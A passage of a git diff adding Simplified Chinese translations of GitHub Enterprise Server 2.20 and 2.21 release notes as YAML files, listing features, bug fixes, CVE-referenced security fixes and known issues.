以外的 Git 对象大小选项时,无法为存储库选择 100MB 大小的最大 Git 对象选项。{% comment %} https://github.com/github/github/pull/138805, https://github.com/github/github/pull/138683 {% endcomment %}' + - '当按 `updated_at` 字段排序时,问题和拉取请求 API 的结果可能存在不一致的行为。{% comment %} https://github.com/github/github/pull/139247, https://github.com/github/github/pull/138486 {% endcomment %}' + - '无法通过 GraphQL API 查询 SecurityVulnerability `package` 字段。{% comment %} https://github.com/github/github/pull/139418, https://github.com/github/github/pull/138245 {% endcomment %}' + - '将存储库从*公共*更改为*内部*会显示一条不相关的计费消息。{% comment %} https://github.com/github/github/pull/139531, https://github.com/github/github/pull/139492 {% endcomment %}' + known_issues: + - '在没有任何用户的新设置的 GitHub Enterprise Server 上,,攻击者可以创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '在升级期间不会维护自定义防火墙规则。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - 'Git LFS 跟踪的[通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories)文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '如果问题包含指向同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则问题无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '当推送到 Gist 时,可能会在后接收挂钩期间触发异常。{% comment %} https://github.com/github/github/issues/129091 {% endcomment %}' + - '在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '从以前的版本升级时,可能不会生成后台作业工作者,从而阻止基本功能,例如合并拉取请求。{% comment %} https://github.com/github/enterprise2/issues/19232 {% endcomment %}' + - '在命令行上推送到存储库时不会报告安全警报。(2020 年 6 月 23 日更新){% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '依赖项关系图在具有多个 Redis 节点的群集配置中部署时不会检测依赖项。(2020 年 6 月 30 日更新){% comment %} https://github.com/github/dependency-graph/issues/81 {% endcomment %}' + - '当副本节点在高可用性配置中脱机时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到脱机节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-20/6.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-20/6.yml new file mode 100644 index 0000000000..cef61a882a --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-20/6.yml @@ -0,0 +1,27 @@ +date: '2020-04-23' +sections: + security_fixes: + - '**高**:OpenSSL 已更新以解决 [CVE-2020-1967](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1967)。{% comment %} https://github.com/github/enterprise2/pull/19889、https://github.com/github/enterprise2/pull/19885 {% endcomment %}' + - '**高**:Git 已更新以解决 [CVE-2020-5260](https://github.com/git/git/security/advisories/GHSA-qm7j-c969-7j4q) 和 [CVE-2020-11008](https://github.com/git/git/security/advisories/GHSA-hjc9-x69f-jqj7)。新限制可防止恶意存储库被推入服务器实例,从而保护尚未修补的客户端。{% comment %} https://github.com/github/git/pull/990 {% endcomment %}' + - '**低**:ImageMagick 已更新以解决 [CVE-2019-10131](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10131)。{% comment %} https://github.com/github/enterprise2/pull/19655、https://github.com/github/enterprise2/pull/19617 {% endcomment %}' + - '包已更新到最新的安全版本。{% comment %} https://github.com/github/enterprise2/pull/19809、https://github.com/github/enterprise2/pull/19792、https://github.com/github/enterprise2/pull/19899、https://github.com/github/enterprise2/pull/19882 {% endcomment %}' + bugs: + - 'Git 用户没有权限调用使用 Subversion 将现有存储库从 v4 格式转换为 v3 LRS 所需的进程。{% comment %} https://github.com/github/enterprise2/pull/19465、https://github.com/github/enterprise2/pull/19150 {% endcomment %}' + - 'MySQL 配置中的不匹配可能导致备份在大型安装中失败。{% comment %} https://github.com/github/enterprise2/pull/19688、https://github.com/github/enterprise2/pull/19409、https://github.com/github/enterprise2/issues/19055 {% endcomment %}' + - '从以前的版本升级时,后台作业工作进程有时不会生成,从而阻止诸如合并拉取请求等基本功能。{% comment %} https://github.com/github/enterprise2/pull/19771、https://github.com/github/enterprise2/pull/19712 {% endcomment %}' + - "当 GitHub Enterprise Server 许可证包含非 ASCII 字符时,对管理控制台的 API `/setup/api/settings` 终结点的 `GET` 请求将导致内部服务器错误。{% comment %} https://github.com/github/enterprise2/pull/19790 {% endcomment %}" + - '即使根帐户已锁定,恢复控制台也会提示输入根密码。{% comment %} https://github.com/github/enterprise2/pull/19810、https://github.com/github/enterprise2/pull/19788、https://github.com/github/enterprise2/issues/18425 {% endcomment %}' + - '具有前导 UTF-8 字节顺序标记的 CODEOWNERS 文件将导致忽略所有代码所有者规则。{% comment %} https://github.com/github/github/pull/140974、https://github.com/github/github/pull/140729 {% endcomment %}' + changes: + - '当业务流程协调程序-客户端 cron 作业失败时,将向根帐户发送多封电子邮件。{% comment %} https://github.com/github/enterprise2/pull/19761、https://github.com/github/enterprise2/pull/19748 {% endcomment %}' + - "当外部标识提供者控制用户的站点管理员状态时,无法通过命令行实用程序降级用户。{% comment %} https://github.com/github/github/pull/140522、https://github.com/github/github/pull/137807、https://github.com/github/github/issues/42727 {% endcomment %}" + known_issues: + - '在新建的没有任何用户的 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '在升级期间不会维护自定义防火墙规则。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - '[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '如果问题包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则问题无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '推送到 Gist 时,可能会在后接收挂钩期间触发异常。{% comment %} https://github.com/github/github/issues/129091 {% endcomment %}' + - '在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '推送到命令行上的存储库时,不会报告安全警报。(更新时间:2020-06-23){% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '依赖项关系图在具有多个 Redis 节点的群集配置中部署时不会检测依赖项。(更新时间:2020-06-30){% comment %} https://github.com/github/dependency-graph/issues/81 {% endcomment %}' + - '当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-20/7.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-20/7.yml new file mode 100644 index 0000000000..6755e6d22c --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-20/7.yml @@ -0,0 +1,21 @@ +date: '2020-05-05' +sections: + security_fixes: + - '包已更新到最新的安全版本。{% comment %} https://github.com/github/enterprise2/pull/20027, https://github.com/github/enterprise2/pull/19997 {% endcomment %}' + bugs: + - '`ghe-repl-start` 和 `ghe-repl-status` 显示了语法错误。{% comment %} https://github.com/github/enterprise2/pull/19954, https://github.com/github/enterprise2/pull/19927 {% endcomment %}' + - '如果仓库启用了“自动删除头分支”设置,则当 GitHub App 安装合并拉取请求时,头部分支不会自动删除。{% comment %} https://github.com/github/github/pull/141588, https://github.com/github/github/pull/133698, https://github.com/github/github/pull/133871, https://github.com/github/github/issues/132588 {% endcomment %}' + - '当组织成员恢复时,web 挂钩有效负载将 `ghost` 用户报告为发送者,而不是执行恢复的实际用户。{% comment %} https://github.com/github/github/pull/141731, https://github.com/github/github/pull/140609 {% endcomment %}' + - '如果仓库启用了“自动删除头部分支”设置,则在头部仓库不同于基础仓库的地方,头部分支不会被自动删除。{% comment %} https://github.com/github/github/pull/142096, https://github.com/github/github/pull/133871 {% endcomment %}' + - '临时文件的垃圾收集可能导致许可证验证错误。{% comment %} https://github.com/github/github/pull/142209, https://github.com/github/github/pull/142189 {% endcomment %}' + - '在某些情况下,包括在首次创建仓库时,接收前挂钩将在没有为 GITHUBHUBB_REPO_PUBLIC 环境变量填写值的情况下运行。{% comment %} https://github.com/github/github/pull/139419, https://github.com/github/github/pull/136228, https://github.com/github/github/pull/134363 {% endcomment %}' + known_issues: + - '在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可能创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '在升级期间不会维护自定义防火墙规则。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - 'Git LFS 跟踪的 [通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories) 文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '如果问题包含指向同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则问题无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '当推送到 Gist 时,可能会在后接收挂钩期间触发异常。{% comment %} https://github.com/github/github/issues/129091 {% endcomment %}' + - '在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '推送到命令行上的存储库时,不会报告安全警报。(更新时间:2020-06-23){% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '依赖项关系图在具有多个 Redis 节点的群集配置中部署时不会检测依赖项。(2020 年 6 月 30 日更新){% comment %} https://github.com/github/dependency-graph/issues/81 {% endcomment %}' + - '当副本节点在高可用性配置中脱机时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到脱机节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-20/8.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-20/8.yml new file mode 100644 index 0000000000..3d89e875db --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-20/8.yml @@ -0,0 +1,20 @@ +date: '2020-05-19' +sections: + security_fixes: + - '包已更新到最新的安全版本。{% comment %} https://github.com/github/enterprise2/pull/20108, https://github.com/github/enterprise2/pull/20086 {% endcomment %}' + bugs: + - '许可证文件更新后,未正确重新加载服务,导致功能丢失。{% comment %} https://github.com/github/enterprise2/pull/20072, https://github.com/github/enterprise2/pull/19989 {% endcomment %}' + - '如果响应正文过大,内部 API 请求更新依赖项关系图信息可能会失败。{% comment %} https://github.com/github/enterprise2/pull/20231, https://github.com/github/enterprise2/pull/20208 {% endcomment %}' + - '未遵从某些 GraphQL 存储库连接的 `affiliations` 参数。{% comment %} https://github.com/github/github/pull/142036, https://github.com/github/github/pull/140658 {% endcomment %}' + - '如果 SAML 电子邮件属性与 GitHub 用户电子邮件大小写形式不同,则无法通过 SSO 自动取消暂停用户。{% comment %} https://github.com/github/github/pull/143321, https://github.com/github/github/pull/142915 {% endcomment %}' + - '将用户的成员身份恢复为组织没有在 Webhook 和审核日志有效负载中检测参与者。{% comment %} https://github.com/github/github/pull/143231, https://github.com/github/github/pull/140849 {% endcomment %}' + known_issues: + - '在新建的没有任何用户的 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '在升级期间不会维护自定义防火墙规则。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - '[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪的文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '推送到 Gist 时,可能会在后接收挂钩时触发异常。{% comment %} https://github.com/github/github/issues/129091 {% endcomment %}' + - '对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '推送到命令行上的仓库时,不会报告安全警报。(更新时间:2020-06-23){% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '依赖项关系图在多个 Redis 节点的群集配置中部署时不会检测依赖项。(更新时间:2020-06-30){% comment %} https://github.com/github/dependency-graph/issues/81 {% endcomment %}' + - '当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-20/9.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-20/9.yml new file mode 100644 index 0000000000..3e01f8fba2 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-20/9.yml @@ -0,0 +1,17 @@ +date: '2020-06-02' +sections: + security_fixes: + - '**高:**在 GitHub Enterprise Server API 中发现了一个不适当的访问控制漏洞,该漏洞允许组织成员升级权限,获得对组织内未经授权的存储库的访问权限。此漏洞影响 GitHub Enterprise Server 2.21 之前的所有版本。 为应对此问题,我们发布了 [CVE-2020-10516](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10516)。此漏洞通过 [GitHub Bug 赏金计划](https://bounty.github.com)报告。{% comment %} https://github.com/github/github/pull/144454, https://github.com/github/github/pull/143444 {% endcomment %}' + - '包已更新到最新的安全版本。{% comment %} https://github.com/github/enterprise2/pull/20421, https://github.com/github/enterprise2/pull/20315 {% endcomment %}' + bugs: + - '面向 Internet 的 GitHub Enterprise Server 实例可以通过搜索引擎编制索引。{% comment %} https://github.com/github/github/pull/145073, https://github.com/github/github/pull/144973 {% endcomment %}' + known_issues: + - '在新建的没有任何用户的 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '在升级期间不会维护自定义防火墙规则。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - '[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪的文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '推送到 Gist 时,可能会在后接收挂钩时触发异常。{% comment %} https://github.com/github/github/issues/129091 {% endcomment %}' + - '对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '推送到命令行上的仓库时,不会报告安全警报。(更新时间:2020-06-23){% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '依赖项关系图在多个 Redis 节点的群集配置中部署时不会检测依赖项。(更新时间:2020-06-30){% comment %} https://github.com/github/dependency-graph/issues/81 {% endcomment %}' + - '当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-21/0.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-21/0.yml new file mode 100644 index 0000000000..7ff6239c4d --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-21/0.yml @@ -0,0 +1,73 @@ +date: '2020-06-09' +sections: + features: + - '用户可以在从网页通知导航时可以就议题、拉请求及其他主题[管理通知](https://help.github.com/en/enterprise/2.21/user/github/managing-subscriptions-and-notifications-on-github/about-notifications)。{% comment %} https://github.com/github/enterprise-releases/issues/2135#issuecomment-633905096 {% endcomment %}' + - '用户可以[将拉取请求转换回“草稿”](https://github.blog/changelog/2020-04-08-convert-pull-request-to-draft/) {% comment %} https://github.com/github/releases/issues/800 {% endcomment %}' + - '[多行建议](https://github.blog/changelog/2020-04-15-multi-line-code-sugutions-general-availability/)可让用户在审查拉取请求时建议对多行代码进行特定的更改。{% comment %} https://github.com/github/releases/issues/810 {% endcomment %}' + - '可以写入存储库的用户可以[隐藏作为“重复项”的议题评论或拉取请求](https://help.github.com/en/enterprise/2.21/user/github/building-a-strong-community/managing-disrutive-comments#hiding-a-comment)。{% comment %}https://github.com/github/github/pull/131746 {% endcomment %}' + - '当[从模板创建存储库](https://help.github.com/en/enterprise/2.21/user/github/creating-cloning-and-archiving-repositeries/creating-a-repository-from-a-template)时,用户可以选择性地选择包含所有分支,而不仅仅是默认分支。{% comment %} https://github.com/github/releases/issues/580 {% endcomment %}' + - '[问题项目卡包含链接的拉取请求部分](https://github.blog/changelog/2020-02-04-project-issue-cards-include-linked-pull-requests/),因此用户能够看到哪些开发工作与直接来源于项目板的问题有关。{% comment %} https://github.com/github/releases/issues/743 {% endcomment %}' + - '反应 API 中有一组新的[“删除反应”终结点](https://developer.github.com/changes/2020-02-26-new-delete-reactions-endpoints/)。现有的“删除反应”终结点将在 2021 年初弃用。{% comment %} https://developer.github.com/changes/2020-02-26-new-delete-reactions-endpoints/ {% endcomment %}' + - '有一组新的 [Teams API 终结点](https://developer.github.com/changes/2020-01-21-moving-the-team-api-endpoints/),允许 GitHub 缩放并长期支持 Teams API。现有 API 终结点将在 2021 年初弃用。{% comment %} https://developer.github.com/changes/2020-01-21-moving-the-team-api-endpoints/ {% endcomment %}' + - '用户可以[在问题与拉取请求之间创建链接](https://help.github.com/en/enterprise/2.21/user/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue#manually-linking-a-pull-request-to-an-issue),而无需在拉取请求描述中使用结束关键词。{% comment %} https://github.com/github/releases/issues/704 {% endcomment %}' + security_fixes: + - '在 GitHub Enterprise Server API 中发现了一个不适当的访问控制漏洞,该漏洞允许组织成员升级权限,获得对组织内未经授权的存储库的访问权限。此漏洞影响 GitHub Enterprise Server 2.21 之前的所有版本。为应对此问题,我们发布了 [CVE-2020-10516](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10516)。此漏洞通过 [GitHub Bug 赏金计划](https://bounty.github.com/) 报告。{% comment %} https://developer.github.com/changes/2020-02-26-new-delete-reactions-endpoints/ {% endcomment %}' + bugs: + - "如果具有推送访问权限的用户将另一个用户的评论最小化,则该评论的作者即使特权不足,也可以将其取消减小化。{% comment %} https://github.com/github/github/pull/141237 {% endcomment %}" + - '用户可能会意外地从问题模板编辑器和 Blob 编辑器中合并到主分支。{% comment %} https://github.com/github/github/pull/134483, https://github.com/github/github/pull/134323 {% endcomment %}' + - '当用户从 GitHub 中删除帐户时,审核日志记录没有正确显示组织删除记录。{% comment %} https://github.com/github/github/pull/140940 {% endcomment %}' + - '当前用户的 gist 头像将链接到一个不存在的 URL。{% comment %} https://github.com/github/github/pull/140925 {% endcomment %}' + - '组织存储库选项卡计数不包括内部存储库。{% comment %} https://github.com/github/github/pull/136323 {% endcomment %}' + - '在转移存储库时单击“显示所有团队”按钮造成了 500 错误。{% comment %} https://github.com/github/github/pull/134455 {% endcomment %}' + - "长文件名可能会在显示“自上次查看以来发生的变化”标签或在差异文件视图上显示“显示富”差异时造成溢出问题。{% comment %} https://github.com/github/github/pull/134453 {% endcomment %}" + - '组织团队的悬停卡误报其成员大小。{% comment %} https://github.com/github/github/pull/133879 {% endcomment %}' + - '拉取请求审查评论弹出窗口有滚动问题。{% comment %} https://github.com/github/github/pull/141157 {% endcomment %}' + - 'Haproxy 可能会饱和,导致 git 操作减速。{% comment %} https://github.com/github/enterprise2/issues/19322 {% endcomment %}' + - '在 HA 副本升级后不自动启用依赖关系图功能。{% comment %} https://github.com/github/enterprise2/issues/18698 {% endcomment %}' + - '对于有数千个草稿拉取请求的存储库,在版本索引页面上可能会触发超时。{% comment %} https://github.com/github/github/pull/131802 {% endcomment %}' + - '无法同时通过状态和草稿过滤拉取请求。{% comment %} https://github.com/github/github/pull/132567 {% endcomment %}' + - '如果拉取请求更改了子模块指针,然后从拉取请求页面的“已更改的文件”选项卡单击该子模块文件上的“编辑文件”,会导致 404 错误。{% comment %} https://github.com/github/github/pull/132448 {% endcomment %}' + - '在大量删除该组织的所有用户和管理员之后,无法将用户添加到组织或删除组织。{% comment %} https://github.com/github/github/pull/132238 {% endcomment %}' + - '当页面重新加载时,对“已更改的文件”页面上文件名中包含变音符号和非拉丁字符的文件的审核评论将消失。{% comment %} https://github.com/github/github/pull/131836 {% endcomment %}' + - '“已查看”复选框的状态对“已更改的文件”页面上文件名中包含变音符号和非拉丁字符的文件不会保留。{% comment %} https://github.com/github/github/pull/131836 {% endcomment %}' + - '拉取请求所有必需审查尚未完成时显示“已批准”徽章。{% comment %} https://github.com/github/github/pull/131823 {% endcomment %}' + - '当在拥有超过 100 个标签的存储库中搜索标签时,标签下拉菜单为空。{% comment %} https://github.com/github/github/pull/131914 {% endcomment %}' + - '显示带有非 UTF-8 标题注释的拉取请求页面在视图渲染中可能遇到编码错误。{% comment %} https://github.com/github/github/pull/138534 {% endcomment %}' + - '在 OAuth 页面上刷新的竞争条件可能导致重定向执行两次。{% comment %} https://github.com/github/github/pull/131964 {% endcomment %}' + - '如果有超过 10 个令牌,“个人访问令牌”页面将超时。{% comment %} https://github.com/github/github/pull/132064 {% endcomment %}' + - '计划的 LDAP 用户和团队同步任务可能会在先前计划的同步任务仍在进行中时开始。已经实施锁定机制来防止新的同步任务在运行时启动。{% comment %} https://github.com/github/github/pull/139205, https://github.com/github/support/issues/429, https://github.com/github/github/issues/54386, https://github.com/github/iam/issues/40 {% endcomment %}' + changes: + - 'Web 通知界面,包括新的[状态](https://help.github.com/en/enterprise/2.21/user/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#triaging-options)、[筛选器](https://help.github.com/en/enterprise/2.21/user/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#supported-queries-for-custom-filters)和[快捷方式](https://help.github.com/en/enterprise/2.21/user/github/getting-started-with-github/keyboard-shortcuts#notifications),已经更新。{% comment %} https://github.com/github/enterprise-releases/issues/2135#issuecomment-633905096 {% endcomment %}' + - '现在可以禁用在 LDAP 同步时重新激活 LDAP 用户。{% comment %} https://github.com/github/github/pull/139023 {% endcomment %}' + - '已更新推送受保护分支措辞,以明确管理员总是可以推送,当状态检查通过时,具有维护角色的用户可以推送。{% comment %} https://github.com/github/github/pull/141555 {% endcomment %}' + - '当建议与原始文本相同时,防止空白提交。{% comment %} https://github.com/github/github/pull/138587 {% endcomment %}' + - '支持分页作为一种通过 REST API 在与提交相关的差异中获取更多文件的方式。{% comment %} https://github.com/github/github/pull/134341 {% endcomment %}' + - '管理员可以在命令行中使用 `ghe-webhook-manage` 启用、禁用、删除 Webhook 或使用 Webhook ID 搜索 Webhook。{% comment %} https://github.com/github/enterprise2/pull/19027 {% endcomment %}' + - '在手动清理合并的拉取请求的头部引用后,将会进行自动基础重新定位。{% comment %} https://github.com/github/github/pull/142133 {% endcomment %}' + - 'SVG 文件在差异查看器中处理为文本和图像。{% comment %} https://github.com/github/render/pull/1129 {% endcomment %}' + - '使用 REST API 创建和更新存储库时,可以设置“合并时自动删除分支”设置。{% comment %} https://github.com/github/github/pull/131728 {% endcomment %}' + - '已添加一个新的终结点来通过 REST API 删除部署。{% comment %} https://github.com/github/github/pull/128733 {% endcomment %}' + - '管理员可以[启用安全警报](https://help.github.com/en/enterprise/2.21/admin/installation/enabling-security alerts-for-vulnerable-dependencies-on-github-enterprise-server#enabling-security-alerts-for-vulnerable-dependencies-for-vulnerable-dependencies-on-github-enterprise-server),但禁用来自这些警报的所有通知。{% comment %} https://github.com/github/releases/issues/841 {% endcomment %}' + - '页面日志显示访问 GitHub Pages 网站的用户登录。{% comment %} https://github.com/github/enterprise2/pull/19905 {% endcomment %}' + - '企业成员可以导航到 `https://[ghes-hostname]/enterprises/[account-name]`,从一个视图查看他们作业企业帐户一部分所属的所有组织。{% comment %} https://github.com/github/releases/issues/832 {% endcomment %}' + - '[分类和维护角色的 REST API 支持](https://developer.github.com/changes/2020-04-07-explining-rest-api-support-for-the-triage-and-server-roles/)已扩展。{% comment %} https://github.com/github/releases/issues/748 {% endcomment %}' + - '用户可以使用 `@me` 搜索语法创建和分享解析到当前用户的搜索查询。{% comment %} https://github.com/github/github/pull/129624 {% endcomment %}' + - '新发行模板配置选项已[添加](https://github.blog/changelog/2019-10-28-new-issue-template-configuration-options/)。{% comment %} https://github.com/github/releases/issues/660 {% endcomment %}' + - 'MySQL 备份和恢复可靠性以及完成时间已得到改善。{% comment %} https://github.com/github/ghes-infrastructure/issues/162 {% endcomment %}' + - '问题侧边栏、问题卡和问题列表中拉取请求和问题引用的[可见性已改进](https://github.blog/2020-02-06-get-more-information-at-a-glance-with-issue-and-pull-request-linking/)。{% comment %} https://github.com/github/releases/issues/704 {% endcomment %}' + - '用户可以通过 `linked:pr` 或 `linked:issue` 过滤和搜索。{% comment %} https://github.com/github/releases/issues/744 {% endcomment %}' + - 'MySQL 现在可在单个区域内自动故障转移以进行群集部署。{% comment %} https://github.com/github/ghes-infrastructure/issues/136 {% endcomment %}' + - '用户可以比较两个版本之间的标签来确定发行版页面上发生了哪些更改。{% comment %} https://github.com/github/github/issues/107054 {% endcomment %}' + - '默认情况下,过时的评论不再在拉取请求时间线上折叠。它们可以通过解析线程来折叠。{% comment %} https://github.com/github/enterprise-web/pull/6389#issuecomment-634201583 {% endcomment %}' + - '管理员可以通过导航到“保留登录”stafftools 选项卡来查看保留供内部使用的登录列表。{% comment %} https://github.com/github/enterprise-web/pull/6389#issuecomment-637846206 {% endcomment %}' + known_issues: + - '在新建的没有任何用户的 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '在升级期间不会维护自定义防火墙规则。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - '[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '如果问题包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则问题无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '推送到 Gist 时,可能会在后接收挂钩期间触发异常。{% comment %} https://github.com/github/github/issues/129091 {% endcomment %}' + - '在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '推送到命令行上的存储库时,不会报告安全警报。(更新时间:2020-06-23){% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '审核日志可归因于 127.0.0.1,而不是实际源 IP 地址。(更新时间:2020-11-02){% comment %} https://github.com/github/enterprise2/issues/21514 {% endcomment %}' + - "将存储库的权限配置为“会审”或“维护”失败,并显示错误消息。" + - '当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-21/1.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-21/1.yml new file mode 100644 index 0000000000..4550bee32a --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-21/1.yml @@ -0,0 +1,21 @@ +date: '2020-06-23' +sections: + security_fixes: + - '包已更新到最新的安全版本。{% comment %} https://github.com/github/enterprise2/pull/20747, https://github.com/github/enterprise2/pull/20727 {% endcomment %}' + bugs: + - '当使用 UDP 作为传输机制时,过大的日志事件可能导致日志转发不稳定。{% comment %} https://github.com/github/enterprise2/pull/20458, https://github.com/github/enterprise2/pull/20445 {% endcomment %}' + - '用于访问 MySQL 的内部通信服务可能会比预期更频繁地重启,包括在升级过程中,这可能会导致升级部分失败。我们降低了重启率并使代码更加稳健。{% comment %} https://github.com/github/enterprise2/pull/20957, https://github.com/github/enterprise2/pull/20972, https://github.com/github/github/pull/146974 {% endcomment %}' + - "如果 SSH 密钥属性具有已与用户帐户关联的密钥,则用户通过 SSO 进行的自动取消暂停未完成。{% comment %} https://github.com/github/github/pull/143475, https://github.com/github/github/pull/142927 {% endcomment %}" + - '来自 REST API 的存储库权限哈希表示,对于可拉取访问内部存储库的业务成员,无法访问存储库。{% comment %} https://github.com/github/github/pull/144756, https://github.com/github/github/pull/144292 {% endcomment %}' + - '“存储库问题删除”企业帐户策略未反映当前保存的设置。{% comment %} https://github.com/github/github/pull/145218, https://github.com/github/github/pull/145067 {% endcomment %}' + - '审核日志不包括分支保护更改事件。{% comment %} https://github.com/github/github/pull/145998, https://github.com/github/github/pull/145014 {% endcomment %}' + known_issues: + - '在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可能创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '自定义防火墙规则在升级期间没有维护。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - '[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。{% comment %} 